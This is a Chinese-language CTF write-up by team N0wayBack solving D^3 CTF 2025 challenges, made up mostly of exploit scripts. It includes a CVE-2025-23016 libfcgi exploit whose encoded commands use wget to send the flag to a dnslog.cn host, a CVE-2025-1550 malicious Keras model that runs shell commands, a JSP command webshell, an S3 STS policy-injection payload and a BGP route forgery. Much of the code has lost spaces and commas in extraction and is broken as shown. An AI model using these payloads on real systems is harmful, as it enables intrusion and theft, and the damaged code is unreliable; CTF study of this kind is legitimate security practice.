D^3 CTF2025 WriteUp By N0wayBack

admin 2025年6月3日00:18:17评论37 views字数 22801阅读76分0秒阅读模式


D^3 CTF2025 WriteUp By N0wayBack


招新
N0wayBack
-招新说明-

招新要求

· CTF赛龄1年以上

· 热爱网络安全,喜欢CTF

· 无人际交流障碍,不以阴阳怪气为乐;乐于奉献、热爱分享,愿意提升   自己同时帮助他人

· 时间允许参加各类赛事,服从战队管理与安排

· 类比赛获奖者、能力出众者视情况考量

· 未参与其他高校联队

· 大一同学视情况放宽资历要求

联系方式

发送简历于邮箱

· 简历邮箱:[email protected]




 

比赛信息

队伍名称:N0WayBack

Rank: 5th

Cain;61儿童节快乐捏!

D^3 CTF2025 WriteUp By N0wayBack

Crypto

d3fnv

异或可以等价转化为加减法,因此题目FNV本质上是一个32次的小系数多项式,其中密钥key未知

可以尝试结合多组FNV数据,利用正交格求解小系数的值,进而反解密钥

但是解出小系数的顺序是无法保证的,并且可能存在小系数之间线性组合的情况。不过经过测试有一定概率能够直接解出key,因此做到这一步多次重连尝试就足够了

from sage.allimport *
from pwn import *
from Crypto.Util.number import *
from tqdm import trange

classFNV():
    def__init__(self):
        self.pbit = 1024
        self.p = getPrime(self.pbit)
        self.key = random.randint(0self.p)
    
    defH4sh(self, value:str):
        length = len(value)
        x = (ord(value[0]) << 7) % self.p
        for c in value:
            x = ((self.key * x) % self.p) ^ ord(c)
        
        x ^= length
        
        return x

defattack():
    io = remote(*"34.150.83.54:31198".split(":"))
    io.sendlineafter(b'option >'b'G')
    io.recvuntil(b'p = ')
    p = int(io.recvline().strip().decode())

    n = 32
    cnt = 67
    m = cnt - 2
    hs = list()
    for _ in trange(m):
        io.sendlineafter(b'option >'b'H')
        io.recvuntil(b'Token Hash: ')
        h = int(io.recvline().strip().decode())
        hs.append(h ^ n)

    K = 2**1024
    L = block_matrix(ZZ, [
        [1, K*matrix(hs).T],
        [0, K*p]
    ]).LLL()[:m-n-1,:m]
    L = block_matrix([
        [1, K*L.T]
    ]).LLL()[:n+1,:m]
    v = L.change_ring(GF(p)).solve_left(vector(hs))
    v = list(map(int, v.list()))

    fnv = FNV()
    fnv.p = p
    fnv.key = v[16]

    io.sendlineafter(b'option >'b'F')
    io.recvuntil(b'Here is a random token x: ')
    random_token = io.recvline().strip().decode()
    ans = fnv.H4sh(random_token) % fnv.p
    io.sendlineafter(b'H4sh(x)? 'str(ans))
    print(io.recvline().strip().decode())
    flag = io.recvline().strip().decode()
    io.close()
    return flag

whileTrue:
    flag = attack()
    print(flag)
    if'Bye'notin flag:
        break
# d3ctf{185cf710-cf48-4b98-82cf-86ccf8b70e4e}

d3sys[p2_2.0]

题目给出盲化后的MSB以及公钥,要求分解,找到论文

https://eprint.iacr.org/2022/1163.pdf,攻击思路和第三章节的步骤大部分吻合,唯一的区别在于本题中难以在短时间内分解  的乘积,不过由于可以求出 模  下的值,所以可以转化成单元copper求解出  。

from Crypto.Util.number import *
from re import findall
from subprocess import check_output

defflatter(M):
    # compile https://github.com/keeganryan/flatter and put it in $PATH
    z = "[[" + "]n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\d+", ret)))

defuni_small_roots(self, X=None, beta=1.0, epsilon=None, **kwds):
    from sage.misc.verbose import verbose
    from sage.matrix.constructor import Matrix
    from sage.rings.real_mpfr import RR

    N = self.parent().characteristic()

    ifnotself.is_monic():
        raise ArithmeticError("Polynomial must be monic.")

    beta = RR(beta)
    if beta <= 0.0or beta > 1.0:
        raise ValueError("0.0 < beta <= 1.0 not satisfied.")

    f = self.change_ring(ZZ)

    P, (x,) = f.parent().objgens()

    delta = f.degree()

    if epsilon isNone:
        epsilon = beta / 8
    verbose("epsilon = %f" % epsilon, level=2)

    m = max(beta**2 / (delta * epsilon), 7 * beta / delta).ceil()
    verbose("m = %d" % m, level=2)

    t = int((delta * m * (1 / beta - 1)).floor())
    verbose("t = %d" % t, level=2)

    if X isNone:
        X = (0.5 * N ** (beta**2 / delta - epsilon)).ceil()
    verbose("X = %s" % X, level=2)

    # we could do this much faster, but this is a cheap step
    # compared to LLL
    g = [x**j * N ** (m - i) * f**i for i inrange(m) for j inrange(delta)]
    g.extend([x**i * f**m for i inrange(t)])  # h

    B = Matrix(ZZ, len(g), delta * m + max(delta, t))
    for i inrange(B.nrows()):
        for j inrange(g[i].degree() + 1):
            B[i, j] = g[i][j] * X**j

    B = flatter(B)

    f = sum([ZZ(B[0, i] // X**i) * x**i for i inrange(B.ncols())])
    R = f.roots()

    ZmodN = self.base_ring()
    roots = set([ZmodN(r) for r, m in R ifabs(r) <= X])
    Nbeta = N**beta
    return [root for root in roots if N.gcd(ZZ(self(root))) >= Nbeta]
from Crypto.Util.number import *
from ast import literal_eval
from hashlib import sha256
from tqdm import *
import time
from pwn import remote, context

context.log_level = "critical"

nbit = 3072
blind_bit = 153
unknownbit = 983
e_bit = 170

for _ in trange(10000):
    nbit = 3072
    blind_bit = 153
    unknownbit = 983
    e_bit = 170

    sh = remote("35.220.136.70"31449)
    sh.sendline(b"G")
    sh.recvuntil(b"dp,dq:")
    T1 = time.time()
    dph, dqh = literal_eval(sh.recvline().strip().decode())
    dph, dqh = dph << unknownbit, dqh << unknownbit
    sh.recvuntil(b"n,e:")
    pub = literal_eval(sh.recvline().strip().decode())
    n, e = pub[0]

    k_l_ = int(e^2*dph*dqh // n + 1)
    k_pl_ = (1 - k_l_*(n - 1)) % e
    R.<x> = PolynomialRing(Zmod(e))
    f = k_l_ + x^2 - k_pl_*x
    kk, ll = list(map(int, f.roots(multiplicities = False)))

    ########################################################### exp
    upbound = 153
    PR.<x> = PolynomialRing(Zmod(k_l_))
    f = (e*x + kk)
    f = f.monic()
    res = uni_small_roots(f, X=2^upbound, beta=0.499, epsilon=0.02)
    if(res != []):
        rp = int(res[0])
        k_ = e*rp + kk
        if(k_l_ % k_ == 0):
            PR.<x> = PolynomialRing(Zmod(k_*n))
            f = x + inverse(e, k_*n) * (e*dph + k_ - 1)
            f = f.monic()
            #res = f.small_roots(X=2^(unknownbit-1), beta=0.499, epsilon=0.02)
            res = uni_small_roots(f, X=2^unknownbit, beta=0.499, epsilon=0.02)
            dpl = int(res[0])
            dp_ = dph + dpl
            p = GCD(pow(2, e*dp_, n) - 2, n)
            q = n // p
            print(p*q == n)

            sh.sendline(b"F")
            sh.recvuntil(b'Encrypted Token: ')
            enc = int(sh.recvline().strip().decode(), 16)
            token = long_to_bytes(pow(enc, inverse(e, (p-1)*(q-1)), n))
            print(len(token))
            token = sha256(token).hexdigest()
            sh.sendline(token.encode())
            print(sh.recvline())
            print(sh.recvline())
            break
    
    T2 = time.time()
    print("Bad luck. Time cost:", T2-T1)
    sh.close()

#d3ctf{th1rd_7hirD_thI2d.1/3_cou1d_b3_m000rE_OnE_ddd4y@@@@@@@}

Misc

d3rpg-signin

使用 Mtool 的 导出待翻译的原文 功能,获取到游戏的字符串数据。

D^3 CTF2025 WriteUp By N0wayBack

查看翻译文件,发现一段完整的 base64 数据。

D^3 CTF2025 WriteUp By N0wayBack

对该 Base64 数据进行解码,直接得到 flag :

D^3 CTF2025 WriteUp By N0wayBack
d3ctf{W3lc0m3_7o_d3_RpG_W0r1d}

d3image

参照论文IRWArt

修改下d3net.py和block

from model import *
from block import INV_block

classD3net(nn.Module):

    def__init__(self):
        super(D3net, self).__init__()

        self.inv1 = INV_block()
        self.inv2 = INV_block()
        self.inv3 = INV_block()
        self.inv4 = INV_block()
        self.inv5 = INV_block()
        self.inv6 = INV_block()
        self.inv7 = INV_block()
        self.inv8 = INV_block()

    defforward(self, x, rev=False):

        ifnot rev:
            out = self.inv1(x)
            out = self.inv2(out)
            out = self.inv3(out)
            out = self.inv4(out)
            out = self.inv5(out)
            out = self.inv6(out)
            out = self.inv7(out)
            out = self.inv8(out)

        else:
            print(1)
            out = self.inv8(x, rev=True)
            out = self.inv7(out, rev=True)
            out = self.inv6(out, rev=True)
            out = self.inv5(out, rev=True)
            out = self.inv4(out, rev=True)
            out = self.inv3(out, rev=True)
            out = self.inv2(out, rev=True)
            out = self.inv1(out, rev=True)
        return out
classINV_block(nn.Module):
    def__init__(self, clamp=2.0):
        super().__init__()
        
        self.channels = 3
        self.clamp = clamp
        # ρ
        self.r = ResidualDenseBlock_out()
        # η
        self.y = ResidualDenseBlock_out()
        # φ
        self.f = ResidualDenseBlock_out()

    defe(self, s):
        return torch.exp(self.clamp * 2 * (torch.sigmoid(s) - 0.5))

    defforward(self, x, rev=False):
        x1, x2 = (x.narrow(10self.channels*4),
                  x.narrow(1self.channels*4self.channels*4))
        ifnot rev:

            t2 = self.f(x2)
            y1 = x1 + t2
            s1, t1 = self.r(y1), self.y(y1)
            y2 = self.e(s1) * x2 + t1

        else:

            s1, t1 = self.r(x1), self.y(x1)
            y2 = (x2 - t1) / self.e(s1)
            t2 = self.f(y2)
            y1 = (x1 - t2)

        return torch.cat((y1, y2), 1)

虽然这个B论文的仓库没给use的代码,但是看训练的代码还是能找到backward

def decode(steg):
    steg = transform2tensor(steg)
    steg = dwt(steg)
    output_steg = steg.cuda()
    output_z = gauss_noise(torch.Size([112360640]))
    
    output_rev = torch.cat((output_steg, output_z), 1)
    
    output_image = d3net(output_rev, rev=True)

    secret_rev = output_image.narrow(14 * 3, output_image.shape[1] - 4 * 3)
    secret_rev = iwt(secret_rev)

    image = secret_rev.view(-1) > 0

    candidates = Counter()
    bits = image.data.int().cpu().numpy().tolist()
    for candidate in bits_to_bytearray(bits).split(b'x00x00x00x00'):
        candidate = bytearray_to_text(bytearray(candidate))
        if candidate:
            candidates[candidate] += 1
    iflen(candidates) == 0:
        raise ValueError('Failed to find message.')
    candidate, count = candidates.most_common(1)[0]
    print(candidate) 

d3RPKI

这个题目给了一个ssh的连接权限和docker容器配置,我读了一下配置发现给的权限是t2-1容器的,结合容器配置和ssh机器的网络配置,能获取到的网络信息是这样的:

网络拓扑图:

          +-----+
          | t1  | (核心路由)
          +-----+
            |     |     |
            |     |     |
      BGP   |     |     |  BGP
            |     |     |
            v     v     v
        +-----+ +-----+ +-----+
        | t2-1| | t2-2| | t2-3|
        +-----+ +-----+ +-----+
       (ssh) (flag发送者) (10.4.0.0/24 拥有者)
D^3 CTF2025 WriteUp By N0wayBack

t2-2机器的entrypoint里面写了,它会把flag每隔10秒通过nc发给10.4.0.4这台机器,在10.4.0.0/24这个段里面,这个段由t2-3这台机器持有,但是这个机器的bird里面配置了route 10.4.0.0/24 reject;说明虽然它持有这个段,但是它永远不会告诉任何机器它可以到达 10.4.0.0/24。所有机器都启用了RPKI认证。

查看配置发现,t1的roa_stayrtr.json配置允许10.4.0.0/16的ASN为4211110004。通过RPKI AS_PATH伪造的方式(RPKI检查只查看路由路径中的最后一个 AS 号码。没有验证整个路径),可以绕过RPKI认证,t2-1可以欺骗t1将恶意的路由信息转发给t2-2,t1和t2-2收到错误的路由信息后,flag将会经过t1转发到t2-1,只要在t2-1上面开一个nc监听1234端口,就可以获取到flag。

具体落实到配置就是修改t2-1的bird配置文件中的BGP_peers template为:

template bgp BGP_peers { 
    ipv4 { 
        table BGP_table; 
        import filter{ 
            if roa_check(r4, net, bgp_path.last) !~ [ROA_VALID] then { 
                print "ROA check failed for ", net, " ASN ", bgp_path.last; 
                reject; 
            } 
            accept; 
        }; 
        export filter { 
            if net = 10.4.0.5/32 then { 
                bgp_path.prepend(4211110004); 
                accept; 
            } 
            if source ~ [RTS_STATIC, RTS_BGP] then accept; 
            reject; 
        }; 
    }; 
}

修改完配置后,使用birdc configure重新加载配置,nc监听1234端口,几秒钟后成功获取到flag

D^3 CTF2025 WriteUp By N0wayBack

Flag: d3ctf{c9780467-2ff8-4ccf-96e1-49b36e3f6822}

Pwn

d3cgi

challenge文件ida分析后内容少,且基本看不出什么问题,不出意外漏洞点在于题目指定的libfcgi库中,直接尝试去搜索libfcgi cve,很容易找到CVE-2025-23016,找到文章https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-th

使用文章的所给的exp,且使用exp前需curl访问一遍环境,具体原理文章有讲,ubuntu22.04所搭建的docker环境,具体调试后发现需要把exp的p8(0) * (2*2)去除才能正常跑通(真离谱)任意执行代码改成pkill lighttpd,用于验证可以直接打通d3所给的容器环境

不知道为何不能反弹shell,所以先一步步将字节echo到一个文件中,然后执行最后采用dnslog拿flag

from pwn import *
import os
exe = context.binary = ELF('./challenge')
defstart(argv=[], *a, **kw):
    return remote("35.241.98.126"32274)

"""
typedef struct {
    unsigned char version;
    unsigned char type;
    unsigned char requestIdB1;
    unsigned char requestIdB0;
    unsigned char contentLengthB1;
    unsigned char contentLengthB0;
    unsigned char paddingLength;
    unsigned char reserved;
} FCGI_Header;
"""


defmakeHeader(type, requestId, contentLength, paddingLength):
    header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)
    return header

"""
typedef struct {
    unsigned char roleB1;
    unsigned char roleB0;
    unsigned char flags;
    unsigned char reserved[5];
} FCGI_BeginRequestBody;
"""


defmakeBeginReqBody(role, flags):
    return p16(role)[::-1] + p8(flags) + b"x00" * 5

b66 = b"d2dldCBgaGVhZCAtYyAyMCBmbGFnfGJhc2UzMnwgdHIgLWQgJz0nYC5pdzM0bnAuZG5zbG9nLmNu"#dnslog获取前20字符
b33 = b"d2dldCBgdGFpbCAtYyAyMCBmbGFnfGJhc2UzMnwgdHIgLWQgJz0nYC5pdzM0bnAuZG5zbG9nLmNu"#dnslog获取前20~40字符
b22 = b"d2dldCBgaGVhZCAtYyA0MCBmbGFnfHRhaWwgLWMgMjB8YmFzZTMyfCB0ciAtZCAnPSdgLml3MzRucC5kbnNsb2cuY24="#dnslog获取后20字符
string = b"echo "" + b22 +b"" | base64 -d | bash"#b66 b33 b22 分别执行3次
length = 4
code = []

for i inrange(0len(string), length):
    code.append(string[i:i+length])


for i in code:
    if i == b"echo":
        i = b";;echo -n '"+i+b"'>1"
    elifb"'"in i:
        i = b";;echo -n $'"+i+b"'>>1"
    else:
        i = b";;echo -n '"+i+b"'>>1"
    os.system("curl http://35.241.98.126:31074")
    io = start()
    header = makeHeader(909000)
    print(hex(exe.plt["system"]))
    payload = makeHeader(1180) + makeBeginReqBody(10) + header
    payload+= (p8(0x13) + p8(0x13) + b"b" * 0x26)*9
    payload+= p8(0) * (2*2
    payload+= p32(0xffffffff) + p32(0xffffffff)  + b"a" * (4 * 4
    payload+= i.ljust(20b" ")
    payload+= p32(0) * 3 + p32(exe.plt["system"])
    io.send(payload)
    io.close()
    sleep(1)

code =[
    b';;chmod +x 1',
    b';;mv 1 ew',
    b";;bash ew > 2 2>&1",
]
for i in code:
    os.system("curl http://35.241.98.126:31074")
    io = start()
    header = makeHeader(909000)
    print(hex(exe.plt["system"]))
    payload = makeHeader(1180) + makeBeginReqBody(10) + header
    payload+= (p8(0x13) + p8(0x13) + b"b" * 0x26)*9
    payload+= p8(0) * (2*2
    payload+= p32(0xffffffff) + p32(0xffffffff)  + b"a" * (4 * 4
    payload+= i.ljust(20b" ")
    payload+= p32(0) * 3 + p32(exe.plt["system"])
    io.send(payload)
    io.close()
    sleep(1)

Re

d3rpg-revenge

解包密钥改了几回都尝试失败,只能换个思路做了。

查阅文档能找到下面函数:

D^3 CTF2025 WriteUp By N0wayBack

查看 d3rpg.ini 配置文件,得到储存脚本的数据文件名为 Unknown

使用 MTool 的 VxConsole 功能调出控制台。

D^3 CTF2025 WriteUp By N0wayBack

在控制台中执行 save_data(load_data("Unknown"), "Unknown"),将加密档案内的数据文件保存到外部。

使用以下脚本进行解包:

require 'zlib'
require'fileutils'

defunpack(packed_data, output_dir)
FileUtils.mkdir_p(output_dir) unlessFile.directory?(output_dir)
  puts "[*] 目标目录:#{output_dir}"

  packed_data.each_with_index do |(_offset, filename, compressed_content), idx|
    begin
      decompressed_content = Zlib::Inflate.inflate(compressed_content)
      
      file_path = File.join(output_dir, filename)

      FileUtils.mkdir_p(File.dirname(file_path)) unlessFile.directory?(File.dirname(file_path))

      File.open(file_path, "wb"do |f|
        f.write(decompressed_content)
      end
      puts "[+] 解包成功: #{file_path}"
    end
end
  puts "[*] 解包完成!"
end

begin
  rvdata2_data = File.open("Unknown""rb"do |f|
    Marshal.load(f)
end

  unpack(rvdata2_data, "unpacked")
end

直接 cat * > a.rb 将解包后的文件合并为 a.rb,搜索找到 check 函数。

D^3 CTF2025 WriteUp By N0wayBack

丢给 GPT 分析得到解密代码,密文则是在解了 UPX 的 secret_dll.dll 中的 check_flag 函数中找到的。

D^3 CTF2025 WriteUp By N0wayBack
# 确保 $de1ta 的值在解密时与加密时一致
$de1ta = 0 # 假设加密时 $de1ta 为 0

module Scene_RPG
  class Secret_Class
    DELTA = 0x1919810 | (($de1ta + 1) * 0xf0000000)
    DELTA_DECRYPT = 0xf1919810

    def initialize(new_key)
      @key = str_to_longs(new_key)
      if @key.length < 4
        @key.length.upto(4) { 
|i| @key[i] = 0 }
      end
    end

    def self.str_to_longs(s, include_count = false)
      s = s.dup
      length = s.length
      ((4 - s.length % 4) & 3).times { s << "" }
      unpacked = s.unpack('V*').collect { 
|n| int32 n }
      unpacked << length if include_count
      unpacked
    end

    def str_to_longs(s, include_count = false)
      self.class.str_to_longs s, include_count
    end

    def self.longs_to_str(l, count_included = false)
      s = l.pack('V*')
      s = s[0...(l[-1])] if count_included
      s
    end

    def longs_to_str(l, count_included = false)
      self.class.longs_to_str l, count_included
    end

    def self.int32(n)
      n -= 4_294_967_296 while (n >= 2_147_483_648)
      n += 4_294_967_296 while (n <= -2_147_483_648)
      n.to_i
    end

    def int32(n)
      self.class.int32 n
    end

    def mx(z, y, sum, p, e)
      int32(
        ((z >> 5 & 0x07FFFFFF) ^ (y << 2)) +
        ((y >> 3 & 0x1FFFFFFF) ^ (z << 4))
      ) ^ int32((sum ^ y) + (@key[(p & 3) ^ e] ^ z))
    end
    def decrypt(ciphertext)
      return '' if ciphertext.empty?
      # Base64 解码
      binary = ciphertext.unpack('m0').first
      # 转换为长整型数组(不包含计数)
      v = str_to_longs(binary, false)
      return '' if v.empty?
      n = v.length - 1
      q = (6 + 52 / (n + 1)).floor
      total_sum = int32(q * DELTA_DECRYPT)  # 初始 sum = q * DELTA(假设 $de1ta=0)

      while q > 0
        e = total_sum >> 2 & 3
        # 逆向最后一个元素
        v[n] = int32(v[n] - mx(v[n-1], v[0], total_sum, n, e))
        # 逆向中间元素(从 n-1 到 1)
        (n-1).downto(1) do 
|i|
          v[i] = int32(v[i] - mx(v[i-1], v[i+1], total_sum, i, e))
        end
        # 逆向第一个元素
        v[0] = int32(v[0] - mx(v[n], v[1], total_sum, 0, e))
        total_sum = int32(total_sum - DELTA_DECRYPT)
        q -= 1
      end

      # 提取原始长度并截断字符串
      length = v.last
      result = longs_to_str(v[0..-2], false)
      result[0, length]
    end

    def self.decrypt(key, ciphertext)
      self.new(key).decrypt(ciphertext)
    end
end
end

key_string = 'rpgmakerxp_D3CTF'
encrypted_flag = "LhVvfepywFIsHb8G8kNdu49J3k0=" # 替换为实际的加密 Flag

# 创建 Secret_Class 实例进行解密
decryptor = Scene_RPG::Secret_Class.new(key_string)
decrypted_flag = decryptor.decrypt(encrypted_flag)

puts "解密后的 Flag 为: #{decrypted_flag}"
d3ctf{Y0u_R_RPG_M4st3r}

web

d3invitation

开局一个文件上传,通过抓包分析有两个包,一个是获取凭据的,一个是上传的,在获取凭据的时候可以指定对象名,通过对获取的sts进行jwt解密可以得知对象名会和访问权限等内容内嵌到sts里,所以就可以通过控制对象名来伪造sts权限,请求包如下

POST /api/genSTSCredsHTTP/1.1
Accept-Language:zh-CN,zh;q=0.9
Accept:*/*
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/136.0.0.0Safari/537.36
Content-Type:application/json
Accept-Encoding:gzip,deflate
Content-Length:49

{"object_name":"*"]},{"Effect":"Allow","Action":["s3:ListAllMyBuckets"],"Resource":["*"]},{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::flag/*"]},{"Effect":"Allow","Action":["s3:ListBucket"],"Resource":["arn:aws:s3:::flag"}

当赋予了对应权限之后即可列出对应的桶信息,在flag桶下拿到flag

import boto3
from botocore.client import Config
from botocore.exceptions import ClientError


deflist_objects_in_bucket(access_key, secret_key, session_token, endpoint, bucket):
    session = boto3.session.Session()
    s3 = session.client(
        service_name='s3',
        endpoint_url=endpoint,
        aws_access_key_id=access_key,
        aws_secret_access_key=secret_key,
        aws_session_token=session_token,
        config=Config(signature_version='s3v4'),
        region_name='us-east-1'
    )

    response = s3.list_objects_v2(Bucket=bucket)
    if'Contents'in response:
        print(f"桶 '{bucket}' 中的对象列表:")
        for obj in response['Contents']:
            print(f" - {obj['Key']} (大小: {obj['Size']} bytes)")
    else:
        print(f"桶 '{bucket}' 为空或无法获取对象列表。")


defdownload_flag_file(access_key, secret_key, session_token, endpoint, bucket, object_name, download_path):
    session = boto3.session.Session()
    s3 = session.client(
        service_name='s3',
        endpoint_url=endpoint,
        aws_access_key_id=access_key,
        aws_secret_access_key=secret_key,
        aws_session_token=session_token,
        config=Config(signature_version='s3v4'),
        region_name='us-east-1'
    )

    try:
        s3.download_file(bucket, object_name, download_path)
        print(f"成功下载 {object_name} 到 {download_path}")
    except ClientError as e:
        print(f"下载失败: {e}")


if __name__ == "__main__":
    access_key = "CTATXMJUXWCQ78YWE2W3"
    secret_key = "0iXvMXYagbkgQPVkaMbuSdUsshah4+iEf6oYCe9A"
    session_token = "eyJhbGciOiJIUzUx0MiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJDVEFUWE1KVVhXQ1E3OFlXRTJXMyIsImV4cCI6MTc0ODYxODkxMywicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZVSFYwVDJKcVpXTjBJaXdpY3pNNlIyVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBIWlhSUFltcGxZM1FpTENKek16cFFkWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.6Bzsz-fznsQZVWBGHRjqZSM2yZeL14i1-N1YlLJDkZCl8iHnG8bbpfvWwjkZk3_QUNPmJjDQBZSkL6j3MyGHEg"
    list_objects_in_bucket(access_key,secret_key,session_token,"http://34.150.83.54:30946","flag")
D^3 CTF2025 WriteUp By N0wayBack

d3model

参考链接:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

用里面的exp生成文件然后上传即可得到flag

import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os

model_name = "test.keras"

x_train = np.random.rand(10028 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r"as f:
    config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
    "name""mvlttt",
    "layers": [
        {
            "name""mvlttt",
            "class_name""function",
            "config""Popen",
            "module""subprocess",
            "inbound_nodes": [{"args": [["sh""-c","env>/app/index.html"]], "kwargs": {"bufsize": -1}}]
        }],
    "input_layers": [["mvlttt"00]],
    "output_layers": [["mvlttt"00]]
}

with zipfile.ZipFile(model_name, 'r'as zip_read:
    with zipfile.ZipFile(f"tmp.{model_name}"'w'as zip_write:
        for item in zip_read.infolist():
            if item.filename != "config.json":
                zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a"as zf:
    zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")
D^3 CTF2025 WriteUp By N0wayBack

tidy quic

WAF

func (w *wrap) Read(p []byte) (interror) {
    for i := 0; i < n; i++ {
        if p[i] == w.ban[w.idx] {
            w.idx++
            if w.idx == len(w.ban) {
                return n, ErrWAF // WAF
            }
        } else {
            w.idx = 0 // 简单重置
        }
    }
}

缓冲区处理差异

if length == -1 {
    // 路径1: io.ReadAll
    buf, err = io.ReadAll(textInterrupterWrap(r.Body))
else {
    // 路径2: 缓冲区池
    buf = p.Get(length)        // 从池中获取缓冲区
    defer p.Put(buf)           // 使用后返回池中
    // 循环读取到buf中...
}

拿flag点

if bytes.HasPrefix(buf, []byte("I want")) {
    item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
    if bytes.Equal(item, []byte("flag")) {
        w.Write([]byte(os.Getenv("FLAG")))
    }
}

缓冲区池污染

  1. 1. 缓冲区重用机制BufferPool为了性能优化会重用缓冲区
  2. 2. 未完全清零:从池中获取的缓冲区包含之前的数据残留
  3. 3. Content-Length控制:通过相同的Content-Length可以获取相同大小的缓冲区

思路

1:污染缓冲区池

  • • 发送包含"flag"的数据触发WAF
  • • 虽然请求失败,但污染的缓冲区被返回池中
  • • 数据布局:"ABCDEF flag " (20字节)

2:污染缓冲区

  • • 发送"I want"(6字节),Content-Length=20
  • • 从池中获取被污染的20字节缓冲区
  • • 只覆盖前6字节,后14字节保持污染状态
1. 构造污染数据:"ABCDEF  flag   " (20字节)
  ├─ [0-5]:"ABCDEF" (准备拿来给I want覆盖的6字节)
  ├─ [6-9]:"  " (4个空格)
  ├─ [10-13]:"flag"
  └─ [14-19]:"   " (6个空格)
2. 发送污染请求: Content-Length=20
  └─ 结果: WAF触发,但缓冲区被污染并返回池中
3. 立即发送利用请求:"I want" + Content-Length=20
  ├─ 从池中获取被污染的20字节缓冲区
  ├─ 只覆盖前6字节"I want"
  └─ 后14字节保持污染状态
4. 服务器处理:
  ├─ HasPrefix("I want  flag   ","I want"
  ├─ TrimPrefix → "  flag   "
  ├─ TrimSpace → "flag"
  └─ Equal("flag","flag") FLAG

exp

package main

import (
    "bytes"
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "time"
    "github.com/quic-go/quic-go/http3"
)

func main() {
    client := &http.Client{
        Transport: &http3.RoundTripper{
            TLSClientConfig: &tls.Config{
                InsecureSkipVerify: true,
            },
        },
        Timeout: 15 * time.Second,
    }

    target := "https://34.150.83.54:31675"

    // 污染缓冲区
    // 构造 20 字节数据:"ABCDEF    flag      "
    data1 := make([]byte20)
    copy(data1[0:6], "ABCDEF")
    copy(data1[6:10], "    ")
    copy(data1[10:14], "flag")
    copy(data1[14:], "      ")

    req1, err := http.NewRequest("POST", target, bytes.NewReader(data1))
    if err != nil {
        panic(err)
    }
    req1.Header.Set("Content-Type""application/x-www-form-urlencoded")
    req1.ContentLength = 20

    // 污染缓冲区
    resp1, err := client.Do(req1)
    if err != nil {
        panic(err)
    }
    resp1.Body.Close()

    time.Sleep(100 * time.Millisecond)

    // 发送 "I want" 复用被污染的缓冲区覆盖ABCDEF
        // 就变成了:"I want    flag      "
    data2 := []byte("I want")
    req2, err := http.NewRequest("POST", target, bytes.NewReader(data2))
    if err != nil {
        panic(err)
    }
    req2.Header.Set("Content-Type""application/x-www-form-urlencoded")
    req2.ContentLength = 20// 和第一个请求相同的ContentLength

    resp2, err := client.Do(req2)
    if err != nil {
        panic(err)
    }

    body, err := io.ReadAll(resp2.Body)
    if err != nil {
        panic(err)
    }
    resp2.Body.Close()

    fmt.Printf("%s", body)
}

d3jtar

能够文件上传,但只有后缀是可控的

同时还有tar压缩和tar解压的地方

最后有一个 /view 路由能够加载jsp马

在测试的时候发现,当文件名为中文时,tar压缩后再解压会出现文件名乱码

D^3 CTF2025 WriteUp By N0wayBack

这就有意思了,开始探索出现的乱码是否可控

研究一下  和 K 的关系,先看他们的unicode编码

测:u6d4b
K: u004b

可以发现,他们的低位是一样,那么猜测压缩的时候会只保留低位,也就是会 &0xff

多测试了几个汉字,发现结果也是一样的

所以可以通过控制低位,经过 tar 压缩和解压后,会出现 jsp 后缀的文件

jsp: u006au0073u0070
浪浳浰: u6d6au6d73u6d70

上传后缀为 浪浳浰 的文件,文件内容为jsp的回显马

<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
D^3 CTF2025 WriteUp By N0wayBack

接着压缩后再解压

然后访问 /view 路由执行命令,得到flag

D^3 CTF2025 WriteUp By N0wayBack


 


